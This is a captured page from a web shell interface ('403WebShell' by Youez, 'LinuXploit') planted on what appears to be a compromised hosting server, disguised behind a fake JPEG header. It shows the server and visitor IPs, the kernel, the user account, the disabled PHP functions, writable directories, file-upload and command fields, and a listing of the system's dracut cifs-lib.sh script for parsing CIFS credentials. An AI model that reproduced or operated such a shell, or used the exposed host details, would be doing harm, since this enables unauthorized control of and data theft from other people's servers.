���� JFIF    aewtgwgerwasdasd403WebShell
403Webshell
Server IP : 147.93.80.58  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u939086737 ( 939086737)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/dracut/modules.d/95cifs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/dracut/modules.d/95cifs/cifs-lib.sh
#!/usr/bin/sh

# cifs_to_var CIFSROOT
# use CIFSROOT to set $server, $path, and $options.
# CIFSROOT is something like: cifs://[<username>[:<password>]]@<host>/<path>
# NETIF is used to get information from DHCP options, if needed.

type getarg > /dev/null 2>&1 || . /lib/dracut-lib.sh

cifs_to_var() {
    local cifsuser
    local cifspass
    # Check required arguments
    server=${1##cifs://}
    cifsuser=${server%@*}
    cifspass=${cifsuser#*:}
    if [ "$cifspass" != "$cifsuser" ]; then
        cifsuser=${cifsuser%:*}
    else
        cifspass=$(getarg cifspass)
    fi
    if [ "$cifsuser" != "$server" ]; then
        server="${server#*@}"
    else
        cifsuser=$(getarg cifsuser)
    fi

    # shellcheck disable=SC2034
    path=${server#*/}
    # shellcheck disable=SC2034
    server=${server%/*}

    if [ ! "$cifsuser" -o ! "$cifspass" ]; then
        die "For CIFS support you need to specify a cifsuser and cifspass either in the cifsuser and cifspass commandline parameters or in the root= CIFS URL."
    fi
    # shellcheck disable=SC2034
    options="user=$cifsuser,pass=$cifspass,$(getarg rootflags=)"
}

Youez - 2016 - github.com/yon3zu
LinuXploit